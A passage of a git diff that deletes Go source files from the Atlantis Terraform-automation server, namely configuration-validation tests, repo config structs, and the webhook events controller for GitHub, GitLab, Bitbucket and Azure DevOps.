config not allowed to define custom workflows: server-side config needs 'allow_custom_workflows: true'", - }, - "custom workflows allowed": { - gCfg: valid.NewGlobalCfg(true, false, false), - rCfg: valid.RepoCfg{ - Workflows: map[string]valid.Workflow{ - "custom": {}, - }, - }, - repoID: "github.com/owner/repo", - expErr: "", - }, - "repo uses custom workflow defined on repo": { - gCfg: valid.NewGlobalCfg(true, false, false), - rCfg: valid.RepoCfg{ - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - WorkflowName: String("repodefined"), - }, - }, - Workflows: map[string]valid.Workflow{ - "repodefined": {}, - }, - }, - repoID: "github.com/owner/repo", - expErr: "", - }, - "custom workflows allowed for this repo only": { - gCfg: valid.GlobalCfg{ - Repos: []valid.Repo{ - valid.NewGlobalCfg(false, false, false).Repos[0], - { - ID: "github.com/owner/repo", - AllowCustomWorkflows: Bool(true), - }, - }, - }, - rCfg: valid.RepoCfg{ - Workflows: map[string]valid.Workflow{ - "custom": {}, - }, - }, - repoID: "github.com/owner/repo", - expErr: "", - }, - "repo uses global workflow": { - gCfg: valid.NewGlobalCfg(true, false, false), - rCfg: valid.RepoCfg{ - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - WorkflowName: String("default"), - }, - }, - }, - repoID: "github.com/owner/repo", - expErr: "", - }, - "apply_reqs not allowed": { - gCfg: valid.NewGlobalCfg(false, false, false), - rCfg: valid.RepoCfg{ - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - ApplyRequirements: []string{""}, - }, - }, - }, - repoID: "github.com/owner/repo", - expErr: "repo config not allowed to set 'apply_requirements' key: server-side config needs 'allowed_overrides: [apply_requirements]'", - }, - "repo workflow doesn't exist": { - gCfg: valid.NewGlobalCfg(true, false, false), - rCfg: valid.RepoCfg{ - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - WorkflowName: String("doesntexist"), - }, - }, - }, - repoID: "github.com/owner/repo", - expErr: "workflow \"doesntexist\" is not defined anywhere", - }, - } - for name, c := range cases { - t.Run(name, func(t *testing.T) { - actErr := c.gCfg.ValidateRepoCfg(c.rCfg, c.repoID) - if c.expErr == "" { - Ok(t, actErr) - } else { - ErrEquals(t, c.expErr, actErr) - } - }) - } -} - -func TestGlobalCfg_MergeProjectCfg(t *testing.T) { - cases := map[string]struct { - gCfg string - repoID string - proj valid.Project - repoWorkflows map[string]valid.Workflow - exp valid.MergedProjectCfg - }{ - "repos can use server-side defined workflow if allowed": { - gCfg: ` -repos: -- id: /.*/ - allowed_overrides: [workflow] -workflows: - custom: - plan: - steps: [plan]`, - repoID: "github.com/owner/repo", - proj: valid.Project{ - Dir: ".", - Workspace: "default", - WorkflowName: String("custom"), - }, - repoWorkflows: nil, - exp: valid.MergedProjectCfg{ - ApplyRequirements: []string{}, - Workflow: valid.Workflow{ - Name: "custom", - Apply: valid.DefaultApplyStage, - Plan: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "plan", - }, - }, - }, - }, - RepoRelDir: ".", - Workspace: "default", - Name: "", - AutoplanEnabled: false, - }, - }, - "repo-side apply reqs win out if allowed": { - gCfg: ` -repos: -- id: /.*/ - allowed_overrides: [apply_requirements] - apply_requirements: [approved] -`, - repoID: "github.com/owner/repo", - proj: valid.Project{ - Dir: ".", - Workspace: "default", - ApplyRequirements: []string{"mergeable"}, - }, - repoWorkflows: nil, - exp: valid.MergedProjectCfg{ - ApplyRequirements: []string{"mergeable"}, - Workflow: valid.Workflow{ - Name: "default", - Apply: valid.DefaultApplyStage, - Plan: valid.DefaultPlanStage, - }, - RepoRelDir: ".", - Workspace: "default", - Name: "", - AutoplanEnabled: false, - }, - }, - "last server-side match wins": { - gCfg: ` -repos: -- id: /.*/ - apply_requirements: [approved] -- id: /github.com/.*/ - apply_requirements: [mergeable] -- id: github.com/owner/repo - apply_requirements: [approved, mergeable] -`, - repoID: "github.com/owner/repo", - proj: valid.Project{ - Dir: "mydir", - Workspace: "myworkspace", - Name: String("myname"), - }, - repoWorkflows: nil, - exp: valid.MergedProjectCfg{ - ApplyRequirements: []string{"approved", "mergeable"}, - Workflow: valid.Workflow{ - Name: "default", - Apply: valid.DefaultApplyStage, - Plan: valid.DefaultPlanStage, - }, - RepoRelDir: "mydir", - Workspace: "myworkspace", - Name: "myname", - AutoplanEnabled: false, - }, - }, - "autoplan is set properly": { - gCfg: "", - repoID: "github.com/owner/repo", - proj: valid.Project{ - Dir: "mydir", - Workspace: "myworkspace", - Name: String("myname"), - Autoplan: valid.Autoplan{ - WhenModified: []string{".tf"}, - Enabled: true, - }, - }, - repoWorkflows: nil, - exp: valid.MergedProjectCfg{ - ApplyRequirements: []string{}, - Workflow: valid.Workflow{ - Name: "default", - Apply: valid.DefaultApplyStage, - Plan: valid.DefaultPlanStage, - }, - RepoRelDir: "mydir", - Workspace: "myworkspace", - Name: "myname", - AutoplanEnabled: true, - }, - }, - } - for name, c := range cases { - t.Run(name, func(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - var global valid.GlobalCfg - if c.gCfg != "" { - path := filepath.Join(tmp, "config.yaml") - Ok(t, ioutil.WriteFile(path, []byte(c.gCfg), 0600)) - var err error - global, err = (&yaml.ParserValidator{}).ParseGlobalCfg(path, valid.NewGlobalCfg(false, false, false)) - Ok(t, err) - } else { - global = valid.NewGlobalCfg(false, false, false) - } - - Equals(t, c.exp, global.MergeProjectCfg(logging.NewNoopLogger(), c.repoID, c.proj, valid.RepoCfg{Workflows: c.repoWorkflows})) - }) - } -} - -func TestRepo_IDMatches(t *testing.T) { - // Test exact matches. - Equals(t, false, (valid.Repo{ID: "github.com/owner/repo"}).IDMatches("github.com/runatlantis/atlantis")) - Equals(t, true, (valid.Repo{ID: "github.com/owner/repo"}).IDMatches("github.com/owner/repo")) - - // Test regexes. - Equals(t, true, (valid.Repo{IDRegex: regexp.MustCompile(".*")}).IDMatches("github.com/owner/repo")) - Equals(t, true, (valid.Repo{IDRegex: regexp.MustCompile("github.com")}).IDMatches("github.com/owner/repo")) - Equals(t, false, (valid.Repo{IDRegex: regexp.MustCompile("github.com/anotherowner")}).IDMatches("github.com/owner/repo")) - Equals(t, true, (valid.Repo{IDRegex: regexp.MustCompile("github.com/(owner|runatlantis)")}).IDMatches("github.com/owner/repo")) - Equals(t, true, (valid.Repo{IDRegex: regexp.MustCompile("github.com/owner.*")}).IDMatches("github.com/owner/repo")) -} - -func TestRepo_IDString(t *testing.T) { - Equals(t, "github.com/owner/repo", (valid.Repo{ID: "github.com/owner/repo"}).IDString()) - Equals(t, "/regex.*/", (valid.Repo{IDRegex: regexp.MustCompile("regex.*")}).IDString()) -} - -// String is a helper routine that allocates a new string value -// to store v and returns a pointer to it. -func String(v string) *string { return &v } - -// Bool is a helper routine that allocates a new bool value -// to store v and returns a pointer to it. -func Bool(v bool) *bool { return &v } diff --git a/server/events/yaml/valid/repo_cfg.go b/server/events/yaml/valid/repo_cfg.go deleted file mode 100644 index b05b6b1249..0000000000 --- a/server/events/yaml/valid/repo_cfg.go +++ /dev/null @@ -1,93 +0,0 @@ -// Package valid contains the structs representing the atlantis.yaml config -// after it's been parsed and validated. -package valid - -import version "github.com/hashicorp/go-version" - -// RepoCfg is the atlantis.yaml config after it's been parsed and validated. -type RepoCfg struct { - // Version is the version of the atlantis YAML file. - Version int - Projects []Project - Workflows map[string]Workflow - Automerge bool - ParallelApply bool - ParallelPlan bool -} - -func (r RepoCfg) FindProjectsByDirWorkspace(repoRelDir string, workspace string) []Project { - var ps []Project - for _, p := range r.Projects { - if p.Dir == repoRelDir && p.Workspace == workspace { - ps = append(ps, p) - } - } - return ps -} - -// FindProjectsByDir returns all projects that are in dir. -func (r RepoCfg) FindProjectsByDir(dir string) []Project { - var ps []Project - for _, p := range r.Projects { - if p.Dir == dir { - ps = append(ps, p) - } - } - return ps -} - -func (r RepoCfg) FindProjectByName(name string) *Project { - for _, p := range r.Projects { - if p.Name != nil && *p.Name == name { - return &p - } - } - return nil -} - -type Project struct { - Dir string - Workspace string - Name *string - WorkflowName *string - TerraformVersion *version.Version - Autoplan Autoplan - ApplyRequirements []string -} - -// GetName returns the name of the project or an empty string if there is no -// project name. -func (p Project) GetName() string { - if p.Name != nil { - return *p.Name - } - return "" -} - -type Autoplan struct { - WhenModified []string - Enabled bool -} - -type Stage struct { - Steps []Step -} - -type Step struct { - StepName string - ExtraArgs []string - // RunCommand is either a custom run step or the command to run - // during an env step to populate the environment variable dynamically. - RunCommand string - // EnvVarName is the name of the - // environment variable that should be set by this step. - EnvVarName string - // EnvVarValue is the value to set EnvVarName to. - EnvVarValue string -} - -type Workflow struct { - Name string - Apply Stage - Plan Stage -} diff --git a/server/events_controller.go b/server/events_controller.go deleted file mode 100644 index de08599083..0000000000 --- a/server/events_controller.go +++ /dev/null @@ -1,555 +0,0 @@ -// Copyright 2017 HootSuite Media Inc. -// -// Licensed under the Apache License, Version 2.0 (the License); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an AS IS BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// Modified hereafter by contributors to runatlantis/atlantis. - -package server - -import ( - "fmt" - "io/ioutil" - "net/http" - "strings" - - "github.com/google/go-github/v31/github" - "github.com/mcdafydd/go-azuredevops/azuredevops" - "github.com/microcosm-cc/bluemonday" - "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/events" - "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/vcs" - "github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud" - "github.com/runatlantis/atlantis/server/events/vcs/bitbucketserver" - "github.com/runatlantis/atlantis/server/logging" - gitlab "github.com/xanzy/go-gitlab" -) - -const githubHeader = "X-Github-Event" -const gitlabHeader = "X-Gitlab-Event" -const azuredevopsHeader = "Request-Id" - -// bitbucketEventTypeHeader is the same in both cloud and server. -const bitbucketEventTypeHeader = "X-Event-Key" -const bitbucketCloudRequestIDHeader = "X-Request-UUID" -const bitbucketServerRequestIDHeader = "X-Request-ID" -const bitbucketServerSignatureHeader = "X-Hub-Signature" - -// EventsController handles all webhook requests which signify 'events' in the -// VCS host, ex. GitHub. -type EventsController struct { - CommandRunner events.CommandRunner - PullCleaner events.PullCleaner - Logger *logging.SimpleLogger - Parser events.EventParsing - CommentParser events.CommentParsing - ApplyDisabled bool - // GithubWebhookSecret is the secret added to this webhook via the GitHub - // UI that identifies this call as coming from GitHub. If empty, no - // request validation is done. - GithubWebhookSecret []byte - GithubRequestValidator GithubRequestValidator - GitlabRequestParserValidator GitlabRequestParserValidator - // GitlabWebhookSecret is the secret added to this webhook via the GitLab - // UI that identifies this call as coming from GitLab. If empty, no - // request validation is done. - GitlabWebhookSecret []byte - RepoAllowlistChecker *events.RepoAllowlistChecker - // SilenceAllowlistErrors controls whether we write an error comment on - // pull requests from non-allowlisted repos. - SilenceAllowlistErrors bool - // SupportedVCSHosts is which VCS hosts Atlantis was configured upon - // startup to support. - SupportedVCSHosts []models.VCSHostType - VCSClient vcs.Client - TestingMode bool - // BitbucketWebhookSecret is the secret added to this webhook via the Bitbucket - // UI that identifies this call as coming from Bitbucket. If empty, no - // request validation is done. - BitbucketWebhookSecret []byte - // AzureDevopsWebhookUser is the Basic authentication username added to this - // webhook via the Azure DevOps UI that identifies this call as coming from your - // Azure DevOps Team Project. If empty, no request validation is done. - // For more information, see https://docs.microsoft.com/en-us/azure/devops/service-hooks/services/webhooks?view=azure-devops - AzureDevopsWebhookBasicUser []byte - // AzureDevopsWebhookPassword is the Basic authentication password added to this - // webhook via the Azure DevOps UI that identifies this call as coming from your - // Azure DevOps Team Project. If empty, no request validation is done. - AzureDevopsWebhookBasicPassword []byte - AzureDevopsRequestValidator AzureDevopsRequestValidator -} - -// Post handles POST webhook requests. -func (e *EventsController) Post(w http.ResponseWriter, r *http.Request) { - if r.Header.Get(githubHeader) != "" { - if !e.supportsHost(models.Github) { - e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support GitHub") - return - } - e.Logger.Debug("handling GitHub post") - e.handleGithubPost(w, r) - return - } else if r.Header.Get(gitlabHeader) != "" { - if !e.supportsHost(models.Gitlab) { - e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support GitLab") - return - } - e.Logger.Debug("handling GitLab post") - e.handleGitlabPost(w, r) - return - } else if r.Header.Get(bitbucketEventTypeHeader) != "" { - // Bitbucket Cloud and Server use the same event type header but they - // use different request ID headers. - if r.Header.Get(bitbucketCloudRequestIDHeader) != "" { - if !e.supportsHost(models.BitbucketCloud) { - e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support Bitbucket Cloud") - return - } - e.Logger.Debug("handling Bitbucket Cloud post") - e.handleBitbucketCloudPost(w, r) - return - } else if r.Header.Get(bitbucketServerRequestIDHeader) != "" { - if !e.supportsHost(models.BitbucketServer) { - e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support Bitbucket Server") - return - } - e.Logger.Debug("handling Bitbucket Server post") - e.handleBitbucketServerPost(w, r) - return - } - } else if r.Header.Get(azuredevopsHeader) != "" { - if !e.supportsHost(models.AzureDevops) { - e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request since not configured to support AzureDevops") - return - } - e.Logger.Debug("handling AzureDevops post") - e.handleAzureDevopsPost(w, r) - return - } - e.respond(w, logging.Debug, http.StatusBadRequest, "Ignoring request") -} - -func (e *EventsController) handleGithubPost(w http.ResponseWriter, r *http.Request) { - // Validate the request against the optional webhook secret. - payload, err := e.GithubRequestValidator.Validate(r, e.GithubWebhookSecret) - if err != nil { - e.respond(w, logging.Warn, http.StatusBadRequest, err.Error()) - return - } - e.Logger.Debug("request valid") - - githubReqID := "X-Github-Delivery=" + r.Header.Get("X-Github-Delivery") - event, _ := github.ParseWebHook(github.WebHookType(r), payload) - switch event := event.(type) { - case *github.IssueCommentEvent: - e.Logger.Debug("handling as comment event") - e.HandleGithubCommentEvent(w, event, githubReqID) - case *github.PullRequestEvent: - e.Logger.Debug("handling as pull request event") - e.HandleGithubPullRequestEvent(w, event, githubReqID) - default: - e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported event %s", githubReqID) - } -} - -func (e *EventsController) handleBitbucketCloudPost(w http.ResponseWriter, r *http.Request) { - eventType := r.Header.Get(bitbucketEventTypeHeader) - reqID := r.Header.Get(bitbucketCloudRequestIDHeader) - defer r.Body.Close() // nolint: errcheck - body, err := ioutil.ReadAll(r.Body) - if err != nil { - e.respond(w, logging.Error, http.StatusBadRequest, "Unable to read body: %s %s=%s", err, bitbucketCloudRequestIDHeader, reqID) - return - } - switch eventType { - case bitbucketcloud.PullCreatedHeader, bitbucketcloud.PullUpdatedHeader, bitbucketcloud.PullFulfilledHeader, bitbucketcloud.PullRejectedHeader: - e.Logger.Debug("handling as pull request state changed event") - e.handleBitbucketCloudPullRequestEvent(w, eventType, body, reqID) - return - case bitbucketcloud.PullCommentCreatedHeader: - e.Logger.Debug("handling as comment created event") - e.HandleBitbucketCloudCommentEvent(w, body, reqID) - return - default: - e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported event type %s %s=%s", eventType, bitbucketCloudRequestIDHeader, reqID) - } -} - -func (e *EventsController) handleBitbucketServerPost(w http.ResponseWriter, r *http.Request) { - eventType := r.Header.Get(bitbucketEventTypeHeader) - reqID := r.Header.Get(bitbucketServerRequestIDHeader) - sig := r.Header.Get(bitbucketServerSignatureHeader) - defer r.Body.Close() // nolint: errcheck - body, err := ioutil.ReadAll(r.Body) - if err != nil { - e.respond(w, logging.Error, http.StatusBadRequest, "Unable to read body: %s %s=%s", err, bitbucketServerRequestIDHeader, reqID) - return - } - if eventType == bitbucketserver.DiagnosticsPingHeader { - // Specially handle the diagnostics:ping event because Bitbucket Server - // doesn't send the signature with this event for some reason. - e.respond(w, logging.Info, http.StatusOK, "Successfully received %s event %s=%s", eventType, bitbucketServerRequestIDHeader, reqID) - return - } - if len(e.BitbucketWebhookSecret) > 0 { - if err := bitbucketserver.ValidateSignature(body, sig, e.BitbucketWebhookSecret); err != nil { - e.respond(w, logging.Warn, http.StatusBadRequest, errors.Wrap(err, "request did not pass validation").Error()) - return - } - } - switch eventType { - case bitbucketserver.PullCreatedHeader, bitbucketserver.PullMergedHeader, bitbucketserver.PullDeclinedHeader, bitbucketserver.PullDeletedHeader: - e.Logger.Debug("handling as pull request state changed event") - e.handleBitbucketServerPullRequestEvent(w, eventType, body, reqID) - return - case bitbucketserver.PullCommentCreatedHeader: - e.Logger.Debug("handling as comment created event") - e.HandleBitbucketServerCommentEvent(w, body, reqID) - return - default: - e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported event type %s %s=%s", eventType, bitbucketServerRequestIDHeader, reqID) - } -} - -func (e *EventsController) handleAzureDevopsPost(w http.ResponseWriter, r *http.Request) { - // Validate the request against the optional basic auth username and password. - payload, err := e.AzureDevopsRequestValidator.Validate(r, e.AzureDevopsWebhookBasicUser, e.AzureDevopsWebhookBasicPassword) - if err != nil { - e.respond(w, logging.Warn, http.StatusUnauthorized, err.Error()) - return - } - e.Logger.Debug("request valid") - - azuredevopsReqID := "Request-Id=" + r.Header.Get("Request-Id") - event, err := azuredevops.ParseWebHook(payload) - if err != nil { - e.respond(w, logging.Error, http.StatusBadRequest, "Failed parsing webhook: %v %s", err, azuredevopsReqID) - return - } - switch event.PayloadType { - case azuredevops.PullRequestCommentedEvent: - e.Logger.Debug("handling as pull request commented event") - e.HandleAzureDevopsPullRequestCommentedEvent(w, event, azuredevopsReqID) - case azuredevops.PullRequestEvent: - e.Logger.Debug("handling as pull request event") - e.HandleAzureDevopsPullRequestEvent(w, event, azuredevopsReqID) - default: - e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported event: %v %s", event.PayloadType, azuredevopsReqID) - } -} - -// HandleGithubCommentEvent handles comment events from GitHub where Atlantis -// commands can come from. It's exported to make testing easier. -func (e *EventsController) HandleGithubCommentEvent(w http.ResponseWriter, event *github.IssueCommentEvent, githubReqID string) { - if event.GetAction() != "created" { - e.respond(w, logging.Debug, http.StatusOK, "Ignoring comment event since action was not created %s", githubReqID) - return - } - - baseRepo, user, pullNum, err := e.Parser.ParseGithubIssueCommentEvent(event) - if err != nil { - e.respond(w, logging.Error, http.StatusBadRequest, "Failed parsing event: %v %s", err, githubReqID) - return - } - - // We pass in nil for maybeHeadRepo because the head repo data isn't - // available in the GithubIssueComment event. - e.handleCommentEvent(w, baseRepo, nil, nil, user, pullNum, event.Comment.GetBody(), models.Github) -} - -// HandleBitbucketCloudCommentEvent handles comment events from Bitbucket. -func (e *EventsController) HandleBitbucketCloudCommentEvent(w http.ResponseWriter, body []byte, reqID string) { - pull, baseRepo, headRepo, user, comment, err := e.Parser.ParseBitbucketCloudPullCommentEvent(body) - if err != nil { - e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s=%s", err, bitbucketCloudRequestIDHeader, reqID) - return - } - e.handleCommentEvent(w, baseRepo, &headRepo, &pull, user, pull.Num, comment, models.BitbucketCloud) -} - -// HandleBitbucketServerCommentEvent handles comment events from Bitbucket. -func (e *EventsController) HandleBitbucketServerCommentEvent(w http.ResponseWriter, body []byte, reqID string) { - pull, baseRepo, headRepo, user, comment, err := e.Parser.ParseBitbucketServerPullCommentEvent(body) - if err != nil { - e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s=%s", err, bitbucketCloudRequestIDHeader, reqID) - return - } - e.handleCommentEvent(w, baseRepo, &headRepo, &pull, user, pull.Num, comment, models.BitbucketCloud) -} - -func (e *EventsController) handleBitbucketCloudPullRequestEvent(w http.ResponseWriter, eventType string, body []byte, reqID string) { - pull, baseRepo, headRepo, user, err := e.Parser.ParseBitbucketCloudPullEvent(body) - if err != nil { - e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s=%s", err, bitbucketCloudRequestIDHeader, reqID) - return - } - pullEventType := e.Parser.GetBitbucketCloudPullEventType(eventType) - e.Logger.Info("identified event as type %q", pullEventType.String()) - e.handlePullRequestEvent(w, baseRepo, headRepo, pull, user, pullEventType) -} - -func (e *EventsController) handleBitbucketServerPullRequestEvent(w http.ResponseWriter, eventType string, body []byte, reqID string) { - pull, baseRepo, headRepo, user, err := e.Parser.ParseBitbucketServerPullEvent(body) - if err != nil { - e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s=%s", err, bitbucketServerRequestIDHeader, reqID) - return - } - pullEventType := e.Parser.GetBitbucketServerPullEventType(eventType) - e.Logger.Info("identified event as type %q", pullEventType.String()) - e.handlePullRequestEvent(w, baseRepo, headRepo, pull, user, pullEventType) -} - -// HandleGithubPullRequestEvent will delete any locks associated with the pull -// request if the event is a pull request closed event. It's exported to make -// testing easier. -func (e *EventsController) HandleGithubPullRequestEvent(w http.ResponseWriter, pullEvent *github.PullRequestEvent, githubReqID string) { - pull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseGithubPullEvent(pullEvent) - if err != nil { - e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s", err, githubReqID) - return - } - e.Logger.Info("identified event as type %q", pullEventType.String()) - e.handlePullRequestEvent(w, baseRepo, headRepo, pull, user, pullEventType) -} - -func (e *EventsController) handlePullRequestEvent(w http.ResponseWriter, baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User, eventType models.PullRequestEventType) { - if !e.RepoAllowlistChecker.IsAllowlisted(baseRepo.FullName, baseRepo.VCSHost.Hostname) { - // If the repo isn't allowlisted and we receive an opened pull request - // event we comment back on the pull request that the repo isn't - // allowlisted. This is because the user might be expecting Atlantis to - // autoplan. For other events, we just ignore them. - if eventType == models.OpenedPullEvent { - e.commentNotAllowlisted(baseRepo, pull.Num) - } - e.respond(w, logging.Debug, http.StatusForbidden, - "Ignoring pull request event from non-allowlisted repo \"%s/%s\"", - baseRepo.VCSHost.Hostname, baseRepo.FullName) - return - } - - switch eventType { - case models.OpenedPullEvent, models.UpdatedPullEvent: - // If the pull request was opened or updated, we will try to autoplan. - - // Respond with success and then actually execute the command asynchronously. - // We use a goroutine so that this function returns and the connection is - // closed. - fmt.Fprintln(w, "Processing...") - - e.Logger.Info("executing autoplan") - if !e.TestingMode { - go e.CommandRunner.RunAutoplanCommand(baseRepo, headRepo, pull, user) - } else { - // When testing we want to wait for everything to complete. - e.CommandRunner.RunAutoplanCommand(baseRepo, headRepo, pull, user) - } - return - case models.ClosedPullEvent: - // If the pull request was closed, we delete locks. - if err := e.PullCleaner.CleanUpPull(baseRepo, pull); err != nil { - e.respond(w, logging.Error, http.StatusInternalServerError, "Error cleaning pull request: %s", err) - return - } - e.Logger.Info("deleted locks and workspace for repo %s, pull %d", baseRepo.FullName, pull.Num) - fmt.Fprintln(w, "Pull request cleaned successfully") - return - case models.OtherPullEvent: - // Else we ignore the event. - e.respond(w, logging.Debug, http.StatusOK, "Ignoring non-actionable pull request event") - return - } -} - -func (e *EventsController) handleGitlabPost(w http.ResponseWriter, r *http.Request) { - event, err := e.GitlabRequestParserValidator.ParseAndValidate(r, e.GitlabWebhookSecret) - if err != nil { - e.respond(w, logging.Warn, http.StatusBadRequest, err.Error()) - return - } - e.Logger.Debug("request valid") - - switch event := event.(type) { - case gitlab.MergeCommentEvent: - e.Logger.Debug("handling as comment event") - e.HandleGitlabCommentEvent(w, event) - case gitlab.MergeEvent: - e.Logger.Debug("handling as pull request event") - e.HandleGitlabMergeRequestEvent(w, event) - case gitlab.CommitCommentEvent: - e.Logger.Debug("comments on commits are not supported, only comments on merge requests") - e.respond(w, logging.Debug, http.StatusOK, "Ignoring comment on commit event") - default: - e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported event") - } - -} - -// HandleGitlabCommentEvent handles comment events from GitLab where Atlantis -// commands can come from. It's exported to make testing easier. -func (e *EventsController) HandleGitlabCommentEvent(w http.ResponseWriter, event gitlab.MergeCommentEvent) { - // todo: can gitlab return the pull request here too? - baseRepo, headRepo, user, err := e.Parser.ParseGitlabMergeRequestCommentEvent(event) - if err != nil { - e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing webhook: %s", err) - return - } - e.handleCommentEvent(w, baseRepo, &headRepo, nil, user, event.MergeRequest.IID, event.ObjectAttributes.Note, models.Gitlab) -} - -func (e *EventsController) handleCommentEvent(w http.ResponseWriter, baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, comment string, vcsHost models.VCSHostType) { - parseResult := e.CommentParser.Parse(comment, vcsHost) - if parseResult.Ignore { - truncated := comment - truncateLen := 40 - if len(truncated) > truncateLen { - truncated = comment[:truncateLen] + "..." - } - e.respond(w, logging.Debug, http.StatusOK, "Ignoring non-command comment: %q", truncated) - return - } - e.Logger.Info("parsed comment as %s", parseResult.Command) - - // At this point we know it's a command we're not supposed to ignore, so now - // we check if this repo is allowed to run commands in the first place. - if !e.RepoAllowlistChecker.IsAllowlisted(baseRepo.FullName, baseRepo.VCSHost.Hostname) { - e.commentNotAllowlisted(baseRepo, pullNum) - e.respond(w, logging.Warn, http.StatusForbidden, "Repo not allowlisted") - return - } - - // If the command isn't valid or doesn't require processing, ex. - // "atlantis help" then we just comment back immediately. - // We do this here rather than earlier because we need access to the pull - // variable to comment back on the pull request. - if parseResult.CommentResponse != "" { - if err := e.VCSClient.CreateComment(baseRepo, pullNum, parseResult.CommentResponse, ""); err != nil { - e.Logger.Err("unable to comment on pull request: %s", err) - } - e.respond(w, logging.Info, http.StatusOK, "Commenting back on pull request") - return - } - - e.Logger.Debug("executing command") - fmt.Fprintln(w, "Processing...") - if !e.TestingMode { - // Respond with success and then actually execute the command asynchronously. - // We use a goroutine so that this function returns and the connection is - // closed. - go e.CommandRunner.RunCommentCommand(baseRepo, maybeHeadRepo, maybePull, user, pullNum, parseResult.Command) - } else { - // When testing we want to wait for everything to complete. - e.CommandRunner.RunCommentCommand(baseRepo, maybeHeadRepo, maybePull, user, pullNum, parseResult.Command) - } -} - -// HandleGitlabMergeRequestEvent will delete any locks associated with the pull -// request if the event is a merge request closed event. It's exported to make -// testing easier. -func (e *EventsController) HandleGitlabMergeRequestEvent(w http.ResponseWriter, event gitlab.MergeEvent) { - pull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseGitlabMergeRequestEvent(event) - if err != nil { - e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing webhook: %s", err) - return - } - e.Logger.Info("identified event as type %q", pullEventType.String()) - e.handlePullRequestEvent(w, baseRepo, headRepo, pull, user, pullEventType) -} - -// HandleAzureDevopsPullRequestCommentedEvent handles comment events from Azure DevOps where Atlantis -// commands can come from. It's exported to make testing easier. -// Sometimes we may want data from the parent azuredevops.Event struct, so we handle type checking here. -// Requires Resource Version 2.0 of the Pull Request Commented On webhook payload. -func (e *EventsController) HandleAzureDevopsPullRequestCommentedEvent(w http.ResponseWriter, event *azuredevops.Event, azuredevopsReqID string) { - resource, ok := event.Resource.(*azuredevops.GitPullRequestWithComment) - if !ok || event.PayloadType != azuredevops.PullRequestCommentedEvent { - e.respond(w, logging.Error, http.StatusBadRequest, "Event.Resource is nil or received bad event type %v; %s", event.Resource, azuredevopsReqID) - return - } - - if resource.Comment == nil { - e.respond(w, logging.Debug, http.StatusOK, "Ignoring comment event since no comment is linked to payload; %s", azuredevopsReqID) - return - } - strippedComment := bluemonday.StrictPolicy().SanitizeBytes([]byte(*resource.Comment.Content)) - - if resource.PullRequest == nil { - e.respond(w, logging.Debug, http.StatusOK, "Ignoring comment event since no pull request is linked to payload; %s", azuredevopsReqID) - return - } - - createdBy := resource.PullRequest.GetCreatedBy() - user := models.User{Username: createdBy.GetUniqueName()} - baseRepo, err := e.Parser.ParseAzureDevopsRepo(resource.PullRequest.GetRepository()) - if err != nil { - e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull request repository field: %s; %s", err, azuredevopsReqID) - return - } - e.handleCommentEvent(w, baseRepo, nil, nil, user, resource.PullRequest.GetPullRequestID(), string(strippedComment), models.AzureDevops) -} - -// HandleAzureDevopsPullRequestEvent will delete any locks associated with the pull -// request if the event is a pull request closed event. It's exported to make -// testing easier. -func (e *EventsController) HandleAzureDevopsPullRequestEvent(w http.ResponseWriter, event *azuredevops.Event, azuredevopsReqID string) { - prText := event.Message.GetText() - ignoreEvents := []string{ - "changed the reviewer list", - "approved pull request", - "has approved and left suggestions", - "is waiting for the author", - "rejected pull request", - "voted on pull request", - } - for _, s := range ignoreEvents { - if strings.Contains(prText, s) { - msg := fmt.Sprintf("pull request updated event is not a supported type [%s]", s) - e.respond(w, logging.Debug, http.StatusOK, "%s: %s", msg, azuredevopsReqID) - return - } - } - - pull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseAzureDevopsPullEvent(*event) - if err != nil { - e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s", err, azuredevopsReqID) - return - } - e.Logger.Info("identified event as type %q", pullEventType.String()) - e.handlePullRequestEvent(w, baseRepo, headRepo, pull, user, pullEventType) -} - -// supportsHost returns true if h is in e.SupportedVCSHosts and false otherwise. -func (e *EventsController) supportsHost(h models.VCSHostType) bool { - for _, supported := range e.SupportedVCSHosts { - if h == supported { - return true - } - } - return false -} - -func (e *EventsController) respond(w http.ResponseWriter, lvl logging.LogLevel, code int, format string, args ...interface{}) { - response := fmt.Sprintf(format, args...) - e.Logger.Log(lvl, response) - w.WriteHeader(code) - fmt.Fprintln(w, response) -} - -// commentNotAllowlisted 